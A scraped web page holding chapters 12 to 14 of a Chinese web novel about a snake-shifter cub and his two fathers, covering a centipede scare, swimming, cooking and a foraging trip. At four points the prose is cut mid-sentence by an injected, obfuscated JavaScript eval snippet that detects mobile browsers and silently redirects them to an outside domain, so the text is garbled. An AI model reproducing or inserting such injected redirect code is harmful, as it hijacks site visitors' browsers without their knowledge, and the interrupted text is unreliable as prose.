游远连忙在阿父脖子上缠了两圈，努力收紧身体贴着阿父，紧张兮兮地看着那稍显湍急的溪水。 岩丘：“……” 有些崽其他方面的本事不行，折腾阿父倒是一等一的厉害。 岩丘无奈地加快速度，和努力忍笑的青芽一起渡过溪水。 速度太快，游远甚至没反应过来。 还是青芽再度出声提醒，小崽才匆忙松开箍着阿父脖子的身体，看看被留在身后的溪水，后知后觉意识到自己刚刚干了啥的游远，不由心虚地蹭了蹭阿父，‘阿父对不起哦，我摘来的果果全给你吃，你不要生我气好不好？’ 岩丘闻言，眼中流露出几分笑意，说道：“你一个不吃，都给我？” ‘嗯嗯，一个不吃！’ “那好吧，谁让你还小呢。” 渡过湍急的溪流，一家三口来到一条较为平缓，但更加宽阔且深的溪水前。 不过这一回，青芽和岩丘并未渡溪，而是顺着溪流一路往上，约莫又走了二三十分钟，游远看见一个生长着许多花卉的山谷。 蝴蝶和蜜蜂在山谷里飞舞，瀑布从二三十米的高处落下，沿着光滑而嶙峋的山壁进入水潭中。 那水潭的颜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251868|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿到发黑，几乎不用动脑判断深度，本能就让游远抗拒接近那里。 而阿父的山洞就在湖泊这边，距离稍远些的山壁处，洞口前种了许多的树，有些已经结了果子，有些还开着漂亮的花朵，等待昆虫帮助授粉。 穿过树林，来到山洞前。 游远结束了这一场搬家冒险，顺着阿父的身体滑下去，扭着身体就要四处探索。 青芽按住他，“别急，绑根驱虫草先。” 游远疑惑：‘为什么？’ 青芽取出竹节筒打开，一股刺鼻的臭味让一家三口下意识偏头。 这驱虫草是好东西，但晒干的驱虫草长时间放在一处后，那个味道简直是一言难尽，鲱鱼罐头气味浓缩剂都没这东西来得刺激。 不过好在，随着驱虫草取出，重新盖上盖子，那味道也就回到了能承受的范围内。 青芽随手从旁边扯了一根草茎下来，将驱虫草捆在游远身上，这才回答小蛇先前的问题：“我们很久没有来住了，这边有许多虫子，你带一根驱虫草就不用害怕了。” 虫子？ 蛇崽扬起脑袋，骄傲道：‘阿爹，我现在不怕虫子啦！’ 他之前怕虫子是因为身体太小，那些虫子比他都还高，追过来很吓蛇，但如今几个月过去，小蛇的身体已经迅速成长到了一米长，是条大蛇了！ 听见游远这话，青芽和岩丘对视一眼，不约而同地露出一点笑意，问道：“真的不怕？” ‘真的！’ “好吧。”青芽说道：“那崽要不要帮阿爹阿父一个忙啊？” 阿爹阿父还是第一次主动要他帮忙呢，游远晃着尾巴，期待地问道：‘要做什么？’ 岩丘蹲下来，笑着说道：“我们还要收拾山洞口的草，小远帮我们进去把虫子都赶出来好不好？很简单的，只要带着驱虫草进去游一圈就可以了。” 游远自信扬头：‘我可以的！’ 岩丘和青芽看着笨崽雄赳赳气昂昂地游进山洞，再度对视一眼，这回没有崽在身边，两人都没能忍住，直接笑出声来。 不知道大人在搞什么小九九，游远进入山洞，游行的速度并不快，注意力大多在山洞内的布局上。 同样是许许多多的柜子，也是两个山洞贯通而成，相较于阿爹的山洞，这里面只是稍显冷清了些。 正想着，游远捕捉到一阵窸窸窣窣的声音，他疑惑地转着脑袋瞧了瞧。 外面的草木太多，以至于没什么光进来，蛇兽人视力再好，能看到的也比较有限。 游远干脆切换了视角。 热成像下，一个个红点分布在山洞里，密密麻麻，让蛇毛骨悚然。 游远：“……” 洞口的小蛇已经僵住，虫子却还在躁动，对驱虫草气息更加敏感的它们，本能地想要远离这片空间。 傻呆呆的小蛇就见一个大大的红点朝着自己冲来。 惊慌之下他解除了热成像视野，然而那快速移动的东西已经到了近前，游远清晰地看见一条差不多有成人半臂长的蜈蚣朝他扑面而来。 ‘啊啊啊啊救命啊啊啊——’ 12. 第 12 章 阳光穿过树叶落在蹲着的两个兽人身上，将他们的长发映照得熠熠生辉，两人脑袋挨着脑袋，垂头瞧着将自己盘成一团藏起脑袋的小蛇。 青芽伸手，戳了戳崽崽，“小远？” 蛇崽挪了挪被戳的地方，避开阿爹的手继续生气。 岩丘没忍住，从另一边伸手戳戳。 小蛇又气呼呼地避开阿父的手，几乎要将自己团成实心的‘8’字。 无良的阿爹阿父瞧了，没忍住嘴角疯狂上翘。 可爱。 被认为可爱的小蛇含着泪，不想搭理坏坏的阿爹阿父。 方才那蜈蚣朝着游远迎面而来，游远仓皇之下转身，爆发出了前所未有的速度逃跑，可那蜈蚣仗着腿多，居然从游远身上跑过去了，还踩了他好几脚！ 吓坏了的小蛇一出来，瞧见阿爹阿父没来得及收回的笑容，顿时明白这是怎么一回事，又气坏了。 太、太可恶了！ 呜呜呜坏阿爹坏阿父。 小蛇越想越委屈，眼泪吧嗒吧嗒往外掉，将脑袋下的鳞片和草地都给打湿了。 青芽和岩丘捕捉到一点声音，对视一眼，挪了挪身子，在另一边看到了藏在身体缝隙里的小蛇脑袋。 看见他们，游远气呼呼地挪动身体，换了个地方继续哭。 哎呀，这是真难过了。 青芽伸手扒拉扒拉，把小蛇的身子扒拉开来，再整团拢到手心里，戳戳蛇头道：“崽呀，阿爹错了，不生气好不好？” 听见他道歉，游远思维卡了下，茫然地去瞅阿爹。 岩丘也在旁边道：“阿父也错了，你有没有什么想吃的？阿父这就去给你做。” ‘错、错了？’ 游远没有应对这种情况的经历，一时间有些茫然。 见他不哭了，两人心里微微松了口气，连声道：“错了错了，再也不用虫子吓唬你了，好不好？” 小蛇不好意思地扭了扭身体，不太确定地问道：“真的不会用虫子吓我了吗？” “真的！” “那好吧。”游远的语气一下子软了，将仇恨放到那条大蜈蚣身上：“我要抓那条虫子回来泡酒！” 酒？ 家里没有哇。 青芽轻轻撞了岩丘一下，对小蛇道：“那我去抓它，你阿父去换酒，咱们现在就泡上！” 就是气势汹汹放个狠话，给自己找回场子的小蛇：哎？ … 兽人向来说做就做，小蛇挂在树枝上，看着阿父抱着酒桶回来，而地上，是被阿爹咬死后洗干净的大蜈蚣。 小蛇不自觉地蜷了蜷尾巴，有点茫然，但更多的是开心。 阿爹阿父真好~ “崽，这酒怎么泡，直接丢进去？” 游远：‘好像是。’ 岩丘放了酒桶过来，将小蛇转移到手里，捧着他去看青芽放蜈蚣，有些好奇：“为什么想到把虫子放酒里？” 忽然被问，小蛇：‘就是想到了啦。’ “哦……” 岩丘也就是随口一问，见虫子已经丢酒桶里了，他顺手把崽交给青芽，又拿了几根驱虫草在手里，扛着盖好盖子的酒桶进入山洞。 青芽带着游远，三两下坐到了树枝上。 蛇兽人的热成像能够捕捉到哪怕只有一点点的热量，但是正常视野下，游远只看见十来只比较大的虫子，根本没有先前在里面瞧见的那么吓人。 感知到身形坠落，游远圈着阿爹的脖子，不是很确定地道：‘里面的虫子真的都走掉了吗？’ “当然。”青芽道，“他们很怕驱虫草的。” 这个游远倒是相信，他就带着一根草进去，那些虫子就明显躁动了起来。 赶走虫子，再在山洞里和山洞附近放下驱虫草，游远终于敢脱离阿爹阿父，自己在附近稍稍溜达一下。青芽和岩丘便抓紧时间收拾山洞，一会儿还要给小蛇好吃的，好好安抚一下吓坏了的崽崽。 · “小远——” 大人拖长声音的呼唤传来，碧青色的小蛇默默往草丛里钻了钻，一点声音都不敢发出来。 然而他再会躲，也躲不过长辈的寻找。 青芽循着气味而来，眼尖地看到了小蛇的身体，不由笑着上前两步，忽然弯腰：“崽？” ‘啊！’ 游远被吓了一跳，眼睛一翻就要晕。 青芽把小家伙捞起来，顺手帮他在自己手臂上缠了两圈，说道：“装晕也没用哦，我们要去泡水啦。” 小心思被阿爹发现，小蛇蔫哒哒的：‘阿爹，我可以等长大了再泡水吗？’ “当然……不行。”阿爹铁面无私，“你兽形都不会游泳，人形怎么可能会呢？” 游远：‘……’ 可是他人形真的会啊！他、会、啊！ 然而不管小蛇怎么说，阿爹都只当小蛇是在找借口。 游远甚至试图坦白过自己的来历，可是小蛇崽的脑子小小的，平日里闲散聊天还好，一旦要给大人解释世界观的不同，就容易逻辑混乱。 更像是不愿游泳的借口了（T-T）。 一人一蛇来到溪水边，游远没什么精神地瞧着，就见阿父正在溪水中忙碌着，似乎是在搬些什么。 嗯？ 小蛇竖起身子，随着逐渐靠近，溪水中的情景出现在视野里。 黢黑的石头在水里摆开，搭出一片算得上宽阔的平台，平台低于水面，是刚好够小蛇活动的空间。 青芽说道：“现在可以入水了吧？” 小蛇的蛇瞳收缩了一下，尾巴不自觉地缠紧了阿爹的手臂，讷讷道：‘这是给我做的吗？’ 岩丘闻声，好笑道：“不是给你还能是给谁？” 游远：！ 小家伙顿时被感动坏了，尾巴自在地摆动起来，说着阿爹阿父最好啦之类的好话，直把两条大蛇哄得喜笑颜开。 那石头平台连接着溪岸，游远要求下地，自己朝着那边游去。 顺着石头进入水中，碧青色的小蛇晃了晃身子，将脑袋搭在水面上的石头处，开开心心地招呼道：‘阿爹阿父，你们快来呀~’ 青芽和岩丘笑着对视一眼，纷纷变成兽形进入水中。 成年的蛇兽人体型很长，溪宽不足以让他们伸直身体，在陪了小蛇崽一会儿之后，便在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251869|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水里游动起来。 大蛇游动带来的波浪冲击在身上，让游远忍不住舒服地眯了眯眼睛。 头顶的太阳渐渐热烈，游远感觉头皮痛痛的，就憋了口气往水里去。攀附着石头粗糙的表面，他头一次感受到了蛇游水的快乐。 不过这种快乐没有持续太久。 随着太阳逐渐靠近正上方，游畅快了的青芽和岩丘回来，带着小蛇跑回了林子里。 成年兽人打着哈欠，交代小蛇一句不要随便离开树荫范围，便进入山洞里睡觉，准备就此度过太阳最炽热的时间段。 游远也有些困，但更饿。 他从空间里放出阿爹阿父早上给他准备好的食物，张着嘴啊呜一口吃下一大块肉，品尝着美味的饭饭，幸福极了。 兽神给的这个空间并没有任何特殊能力，更像是一个与外界彻底隔绝的密闭空间。游远觉得它很像是地窖或者冰柜，或许还有希望保存下冰块来呢。 可惜寒季还有好久好久，他没办法马上得到答案。 小蛇吃饱了饭，将脏脏的碟子收起来，转移到了角落里的树干盆中，然后带着饱饱的肚子进入山洞，和阿爹阿父一起睡觉。 － 兽世的日子轻松而自在，时间在人察觉不到的角落里飞速流逝。 仿佛是一晃眼，游远就到了三岁。 三岁的小蛇兽形依旧只有一米长，游行的速度也没比当年快多少。不过如今，他已经不是笨笨的小蛇了！他终于学会变人了！ “阿爹阿父！你们快看我！” 小蛇高兴地原地蹦跶，青色的长发随之上下翻飞着，碧青色的竖瞳将他的皮肤衬托得格外白皙。 “好厉害！” 大人并不吝啬于夸奖，在崽子扑过来的时候，立即伸手将他抱住。 游远简直要开心坏了，被阿爹阿父轮流抱了会儿，又蹬着腿要下去。青芽和岩丘倒也不拦着他，兽人身体强硬，在领地里跑跑不会有事。 变成人形后的视角要比兽形时高许多，游远扶着树干站在大石头上，又低头瞧了瞧下方，感觉也不怎么高，便蹦了下去，在附近的林子里蹿来蹿去。 青芽和岩丘本来带笑看着，但渐渐地，他们察觉出一点不对劲来。 “小远是不是太兴奋了些？” “是……” 夫夫俩对视一眼，心中莫名有点不太好的预感，但再看小家伙，又没发现这种预感的根源。 他们一时摸不着头脑，只能勉强压下这种心思，琢磨着再观察一下。 蛇崽身体健康，应该出不了什么大事。 抱着这种想法，夫夫俩依旧按照从前的节奏生活。但很快，他们就知道是哪里不对劲了。 他们的崽！除了晚上睡觉！几乎没使用过兽形！ 眼见着小家伙被一根突出的藤蔓绊倒，叽里咕噜地滚到斜坡下面，也只是拍拍鳞片裙上的草碎爬起来，寻了条新路线回到上面。 青芽和岩丘深吸一口气，感觉脑袋晕晕的。 游远看见阿爹阿父，开心地跑到近前，见两条大蛇躺得板正，不由疑惑探头：“阿爹？阿父？” 阿爹阿父不语。 13. 第 13 章 两条大蛇笔挺挺的，小小的游远蹲在他们身边，左瞧瞧右瞧瞧，伸出手开始摸索心脏的位置。 岩丘和青芽瞬间游走。 游远：？ 青芽变成人形，没好气地搓崽：“谁教你随便寻摸要害的？” 蛇在地上趴得好好的，那爪子非要往要害处塞，生怕别人察觉不到他的目标。 游远被搓得呜噜呜噜，“所以阿爹你们在玩什么呀。” 岩丘在旁边抱臂，不答反问：“刚刚摔下去疼不疼？” “有一点点。”游远乖巧。 青芽问：“所以为什么不用兽形？” 原来是为了这个。 游远撒丫子就跑，等离开阿爹阿父一段距离后，才叉着胖胖的腰大声回道：“我就是喜欢用人形嘛！阿爹阿父不要管我！” 说完，还做了个鬼脸，蹦蹦跳跳转身，结果没跑多远又摔了个狗吃屎，这下倒是老实走路了。 青芽&岩丘：“……” 算了算了，习惯就好了。 两人对视一眼，叹着气回了家门口，不管那让人操心的小崽子。 · 刚过了暴雨期，森林里还湿漉漉的。 游远四肢并用爬过一根粗壮的树干，伸手去摘藏在这边的菌菇。 小幼崽对菌菇的态度向来是能吃就行，并不挑长相如何。现下随着树干采摘完，看见藏在角落里的平菇，又趴下来伸着爪子去抓。 阳光穿过树叶落下来，将他的长发映照得极其清透。 摘下看中的平菇，游远直接收进空间里，爬起来拍拍膝盖上的泥巴，继续在林子里穿梭。 时间临近中午，游远这才回家去。 现在还是炎季，阳光比烤炉更加炽热，不管什么东西往太阳下一放，用不了多久就会彻底干掉，搞得游远想做什么东西，还得在旁边守着。 对蛇蛇而言也堪称一场折磨。 四肢并用、跌跌撞撞地回了山洞，游远喊着阿爹阿父，欢快地扑到了大蛇身上。 岩丘缠着他，把小崽子摆正，懒洋洋问道：“今儿弄了些什么？” “菌菇！” 青芽：“……怎么又搞这个。” “菌菇酱好吃嘛~” 两条大蛇闻言，沉沉地叹了口气，先后起身去拿了盆出来，示意小崽子：“放出来吧。” “就知道阿爹阿父最好啦！” 游远开心贴贴完，来到木盆边集中精神，空间里的菌菇很快倾泻而出，在盆里堆出了小山包来。尖端处的香菇没落稳，晃晃悠悠，滚了下来，被岩丘伸手接住。 大人扛着盆去山溪边洗菌菇去了，游远爬上凳子，从空间里取出卤肉和炒青菜摆在桌上，抓着个馒头开始吃午餐。 等吃饱饱，睡一觉起来，阿爹阿父也回了家。 小豆丁便跟在大人身后转悠。 一家三口忙忙碌碌，总算是将所有的菌菇都熬成了酱，游远看着桌上满满当当的陶罐，幸福地托起腮，开始晃脚丫子。 晚饭便是煎饼配菌菇酱，再加上冷卤肉。 菌菇酱香浓，煎饼上还配了鸡蛋，哪怕什么都不放，这一口下去便足以让人感到满足，何况还有好吃的卤牛肉。 真好哇。 好满足的小蛇总是很开心。 － 二十二年后，蛇王部落。 碧青色的大蛇挂在树枝上，耷拉着脑袋瞅狩猎队所在。 岩丘跟青芽说着话，一扭头看见崽子这样，叹着气就靠到了彼此身上。 游远见阿爹阿父看见自己，脑袋立即竖了起来，尾巴大幅度地摆动起来，跟阿爹阿父告别。 青芽和岩丘只好学着他的，晃了晃尾巴以示回应。 旁边的蛇：“……” 蛇群出了部落，游远在树枝上趴了会儿，变成人形。 上得去下不来的毛病，这么多年过去就没见好，游远抓着树枝伸出脚往下踩了踩，找到一个能借力的地方后，这才轻巧落地。 青色的长发在阳光下扬起一道弧线，鳞片裙在阳光下反射着细碎的光芒。 “远，有什么想吃的兽肉吗？”路过的雄性兽人问道。 游远扭头看去，见是熟悉的兽人，便开心地回道：“不用啦哥哥，我阿父给我抓好猎物了。” 雄性兽人有些遗憾：“那好吧。” “我要回去了，哥哥再见~” “再见。” 看着游远跑远，雄性兽人这才收回视线，不太爽地啧了一声。 · 当年的笨蛋小蛇成长到如今，也没如他阿爹阿父期盼的那般能一次游远点儿，但他很会做饭，而且长相明艳很戳蛇兽人，再加上游远性格好，很多雄性兽人都因此跃跃欲试，想要登堂入室成为小亚兽的雄性兽人。 可惜。 二十多年过去，游远也不过是从笨笨的小蛇变成了笨笨的大蛇，对雄性兽人们的追求那叫个一无所知。 最可气的是，岩丘和青芽将小蛇照顾得面面俱到，根本不给他们表现的机会！ · 回到家里的游远根本不知道人家的小心思，他揭开蒸盖瞧了瞧，见里面的包子都蒸好了，便拿了个大盘子出来，将其全部夹了上去，再端上一碗热腾腾的粥，走出厨房从旁边的台阶上了二层平台。 游远现在住的是自己的山洞，跟阿爹的领地相邻。 山洞与部落里普遍的结构不同，是个小二层。一层是储藏区和厨房，二层则是睡觉的地方，连着一个宽敞的平台。 现在小平台边缘竖了围栏，又种了些藤蔓花，地上铺着石板和兽皮垫子，游远将早餐放上去，盘着腿就着朝阳享受早餐。 粥是甜口的红薯粥，软糯香甜，包子是咸口的大肉包，被肉汁浸透面皮，一口下去满足感爆棚。 游远一口气吃完五个大包子，又解决了碗底的粥，一时半会儿也不想挪窝，干脆将东西收进空间里，枕着手臂往后一倒，舒舒服服睡大觉。 这一觉，就睡到太阳炽烈。 游远被热醒，变成兽形慢吞吞挪进山洞。 回到凉爽的环境中，青蛇没精打采地歇了好一会儿，才感觉缓过来了些，又从空间中取出一碗水，凑上前喝着。 凉丝丝的水让蛇精神一振，游远顿时就活了过来，变成人形带着碗下去清洗。 有平台在，游远的山洞前就种了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251870|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多树，能够为森林增强凉意的空空藤缠绕其上，让这片区域的温度维持在一个凉爽偏冷的范围。 旁边就有小溪流淌而过，游远洗了碗筷，又拿了骨刀去收拾阿父给他抓的猎物。 今天的猎物是一头香兽。 香兽肉嫩而美，生腌鱼脍都是一绝，稍微过一遍火味道也不差。 这种猎物不太好找，抓起来也麻烦，就是以青芽和岩丘的捕猎本事，游远一年也只能吃上两三回。 香兽抓回来后送去大山洞处理过，游远现下只用将兽肉切割成合适的肉块大小，然后用容器装着送入空间中存着。 游远的空间是个密闭的保温空间，他每年冬天都会往里面存上十个平方的冰块，然后辅以兽皮，将空间分成大中小三个区域用来储存。 这些肉就放在最小、距离冰块最近的空间里。 将肉全部放好，游远找了个桶，把空间里融化的冰水放出来装着，然后再将桶收回空间中——保温空间到底不是冰箱，没办法制冷，冰块也会随着时间推移融化。 忙完这些，再把留出来的那桶香兽肉放到远离冰块的大空间中，游远拿了一个兽皮袋，前往采集区。 · 踩着树荫进入采集区深处，游远摘了些番茄柠檬，又翻找着草丛，弄了些香菜野葱。 又一路寻摸到了山谷里，刨了几株土豆出来，将下面小小的，不过指节大小的土豆全都摘下，凑够一顿的食物后，便埋了植株继续溜达。 采集区足有好几座山，游远在靠近部落的这一片转了转，便识相地开始回程。 一天的时间就这么慢悠悠耗费完，夕阳落在身上没有白日里的炽热，游远将兽皮袋子丢进空间里面，脚步轻快。 身后，树上。 黑色的大蛇探出脑袋，看着离去的亚兽人，吐了下信子。 · 游远到家时，阿爹阿父还没有回来。 他把今天采集回来的食材全部倒进盆里，清洗干净切成需要的形状后，又从空间中取出今日要吃的那份香兽肉，洗干净血液切成不同厚度的肉片放在一边。 先调生腌汁。 柠檬、醋、姜末、蒜末、辣椒碎，还有食盐香油香菜段，再取出一块超级难做的冰糖，用石臼捣碎碾压成粉倒进去。 料汁调好，放入切成厚片的香兽肉。 然后是鱼脍搭配着的各种小料，一口鱼脍半碗料，这鱼脍的吃法就是奔着肉的鲜美和料的丰富去的，不同的配料能激发出不同滋味，美滋滋。 游远哼着歌，准备了十来碗小料，然后才是最后一道菜，番茄滑肉。 先将番茄炒软，加水放入调味，等到汤汁浓稠之后，放入轻薄的香兽肉，只需让肉片随着汤汁翻滚一遭便可盛出。 弄好这些，他从空间里取出早上没吃完的粥，放到灶台上热着，一顿晚餐完美准备好。 “远，我们回来了。” 青芽的声音远远传来，动静很小，但作为一名蛇兽人，游远轻易就将其捕捉到了，提高声音道：“阿爹阿父你们快一点儿，可以吃饭啦！” 听到这一句，青芽和岩丘立即加快速度，刚到山洞前就被崽子抱了个满怀。 14. 第 14 章 “今天的菜很好吃哦，你们快点去洗手，我拿点冰块出来摆肉。”游远松开阿爹阿父，便迫不及待地催促道。 “好。” 青芽笑着拍拍他的脑袋，和岩丘一起去洗手了。 游远则是脚步轻快地回到山洞里，从空间中取出一块冰，用骨刀将其切成块铺在盘子中，然后把剩下的那部分香兽肉片铺上去，这样等下吃起来，下面冰过的肉口感会不太一样。 把切剩下的冰块收回空间里，游远端菜上桌，又揭开锅盖瞧了瞧热着的红薯粥。 正巧青芽和岩丘进来，游远问道：“粥是喝烫的还是喝温的？” “温的。”两人齐声。 闻言，游远便将灶台里的明火熄了，由着火块继续温粥。 一家三口入座。 游远给阿爹阿父夹了菜，然后才伸着筷子，在三样中选了生腌吃下。 生腌料汁味道丰富又完美融合，包裹在厚实的香兽肉片上，入口先是料汁的香，然后才是肉本身的鲜甜柔嫩。 他正吃着，青芽放了个碟子到他面前，换走了他手边那个。 碟子里装着香兽肉片，拌以胡萝卜丝、酸茭白丝、榨菜丝、葱丝，香菜等，又淋了一勺香浓的酱油，看着便让人口齿生津。 “阿爹真好！”游远端起碟子吃了一口，很夸张地道：“超好吃的。” 青芽就看着他笑。 岩丘给游远夹了一筷子番茄滑肉，问道：“只有阿爹好？” 游远立即嘴甜道：“阿父也好。” 好哄的阿父便也高兴起来，又去给青芽夹菜。 ＊ 在兽人的认知里，只有伴侣是最重要的，幼崽在度过幼生期成功分化后，便会渐渐脱离他们的生活。 但游远是个例外。 这个小崽崽太会撒娇了，而且很喜欢黏着阿爹阿父，再加上他不会捕猎，做阿爹阿父的总要更操心些，以至于即使如今他有了自己的领地，成了年，父子三个的相处也是一如既往的亲昵。 所以说，其余雄性兽人找不到机会追求游远，真不能怪岩丘和青芽。 他们就是习惯了照顾崽子，没想起来这一茬。 ＊ 吃完饭，两条青色的大蛇凑在一起睡觉，岩丘去洗了碗筷，顺手收拾了下厨房，然后才来到伴侣幼崽身边，变成兽形与他们搭在一起。 一觉睡到太阳离开天际，青芽和岩丘才起身告别崽崽。 游远懒洋洋地晃了晃尾巴，“明天早上吃馄饨哦，你们记得过来。” “好，记住了。” 大蛇的游行速度很快，当回应声落下的时候，他们已经消失在了草木之间。 游远翻着身子又躺了会儿，打着哈欠变成人形坐起来，挪到了二层的山洞里，一头倒在柔软的床铺上，呼呼大睡。 · 次日早。 轻薄的馄饨皮裹着淡粉色肉馅落入锅中，游远转身取出三个陶碗，往里加入虾米酱油等调味，等到馄饨汤再度咕嘟冒泡时，盛出满满一勺添入碗中，那调味的鲜香顿时就被激发了出来，再加入煮好的香兽肉馄饨。 旁边领地里的青芽和岩丘循着味道而来，进来见早餐已经准备好了，便动手端馄饨拿勺子，“今儿怎么弄这么早，天还没亮呢。” 游远拿了辣椒油罐子过来，语气不自觉地带上了些撒娇的意味：“我无聊嘛，就起来包馄饨了。” 兽人日子悠闲，游远在这里重新长大一回，也多了点随性闲散的毛病，日常睡睡醒醒没个定数。昨天白日里睡得多了，晚上可不就精神奕奕嘛，偏偏天黑他又不想做别的事，只好起来烧了灶火忙活吃食。 听他这般说，青芽问道：“那白天要不要去采集区？正好没事，我陪你一起。” 岩丘：“也可以出部落走走。” 他们夫夫俩都在的话，小蛇在部落附近玩玩也是可以的。 游远闻言，眼睛一亮：“真的？” “当然。” “太好了！”游远开心起来，“那我们吃完饭就出去吧？” 青芽和岩丘失笑，应道：“都听你的。” 有了开心的事情在前面吊着，游远整个人都显得雀跃起来，他吃了两口咸鲜美味的馄饨，又抬手往里舀了小半勺辣椒油。 这辣椒是他二十多年来挑挑拣拣，选出来的最香的一种，什么都不用添加，纯粹的热油烫熟就是最美的滋味，就是味道特别辣，稍微多舀些许，都能辣得人怀疑人生。 红亮的辣椒油落在馄饨汤里，用勺子搅散开来，鲜美香辣的滋味充斥口腔，游远咬开轻薄的馄饨皮，尝到里面鲜嫩的香兽肉，忍不住愉悦地晃了一下。 跟小时候一个毛病，吃到喜欢的就爱晃悠。 · 吃完早餐，青芽和岩丘去洗碗收拾厨房，游远脚步轻快地进入山洞深处，在储藏区翻翻找找，扒拉出来好几个筐和篮子，一股脑塞进空间里。 他出来时，青芽正好挂起洗干净的抹布，问道：“现在就走？” “走走走走！” 游远拉着阿爹出了山洞，见阿父已经变成兽形，立刻开心地扑了上去：“阿父真好~~~” 岩丘：“好了好了，快上来吧。” “好嘞！” 游远立刻变成兽形，游到了阿父的背上。 他的兽形与青芽相同，都是细长漂亮的类型，大蟒蛇体型偏粗，正正好能背不善游行的小崽子。 青芽摸摸小崽子，说道：“贴紧你阿父，可别再摔下来了。” “知道啦知道啦。”游远嘀嘀咕咕，“我就小时候摔过两次而已，阿爹你别那么担心。” 青芽屈指，敲了他脑袋一下。 游远闭嘴，乖巧吐信子。 青芽无奈地笑了下，变成兽形，和岩丘一起往外游去。 · 蛇王部落到处都是高大的树木和茂密的草丛，与如同密网般的溪流河道交织，让这儿即使是处在炽热的炎季里，也能保持适宜蛇兽人的湿润感。 从部落里出来，是树木更加高大的安全区，偶尔能遇到尚且能捕猎的老兽人，或者亚成年期的兽人在这里活动。离开安全区后的树木完全称得上遮天蔽日一词，一棵棵高耸入云足有四五十米高，森林里几乎没有直射下来的阳光。 岩丘和青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251871|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芽停了下来。 游远从阿父身上游下来，变成人形活动了下，期待地看向阿爹阿父：“随我四处走？” 岩丘：“嗯。” “好哎！” 游远欢呼一声，立刻蹦跳着往前走去。 岩丘和青芽便游在他附近，留意着周围的环境，做好随时应对危险凶兽的准备。 游远踩到突出地面的树根上，随手扯了根藤蔓，一边往前走一边手指翻飞，将藤蔓仔细编成花环后，一路摘着小花插了上去，最后将成品送到了阿爹阿父的脑袋上。 大蛇晃了晃头，花环也跟着晃晃悠悠。 “哎哎哎别动呀。”游远连忙制止，“这样好看的！” 青芽停住动作，说道：“家里都好多个了。” 游远一脸委屈巴巴：“阿爹不喜欢我编的花环吗？” 青芽：“……” 岩丘给伴侣解围：“喜欢喜欢，你去给自己也编一个吧。” 听到这话，游远笑嘻嘻地道：“我不喜欢戴花环呢，阿爹阿父带了就当是我带啦。” 岩丘：“……” 夫夫俩对视一眼，无奈摇头，又在察觉到花环要掉的瞬间稳住，扭过尾巴小心翼翼地扶了一下花环，匆匆追上已经跑出去一段的小崽子。 一般情况下，部落周围能吃的东西，采集区内都有。 不过因着很少出来，游远即使只是刨一株辣椒，撅几丛野葱都能很开心。而且来到大溪后，就能逮到许多大大的河虾和螃蟹。 瞧着太阳所在的位置还不高，游远干脆找了个水浅的地方，踩了进去。 说是浅，水面也到了人大腿根的位置。 游远从空间中取出一个簸箕，开始往长了水草的地方怼。 水草里的鱼虾水蛇顿时被吓得四处乱窜，游远一下子捞起簸箕的时候，还有一条蛇从他手腕处游了过去。 游远忍不住瞧了下，招呼岸边两条蛇：“阿爹阿父，那条好漂亮。” 金灿灿的，身上还有金粉色的菱形花纹。 岩丘道：“想吃？” 游远迅速摇头。 兽人对非兽人的同外貌动物是没有同族感的，自然也就吃喝不忌，不过游远从现世而来，从前的记忆多少给他留下了些影响，因而对外表相似的蛇避之不及。 见崽子不吃，岩丘就又将脑袋落了下去。 游远放了两个木桶到岸边，将铲出来的鱼虾挑着嫩的、大的放到桶里，嘴上嘀嘀咕咕跟阿爹阿父聊天：“我多弄些这个鱼，回去捶鱼丸吃，虾我想吃清蒸的。”又问两人，“阿爹阿父你们想怎么吃？” 阿爹阿父当然是点头，“都行都行。” 崽子大了，不用他们动手做饭，当然是吃什么都行。 不吃也行。 游远猜到了他们的想法，指指点点：“不知道享受。” 兽世那么悠闲，多适合细致地制作好美食，坐下来慢慢享受啊。 不懂享受的两条大蛇脑袋搭着脑袋，不吭声了。 蛇有蛇的想法。 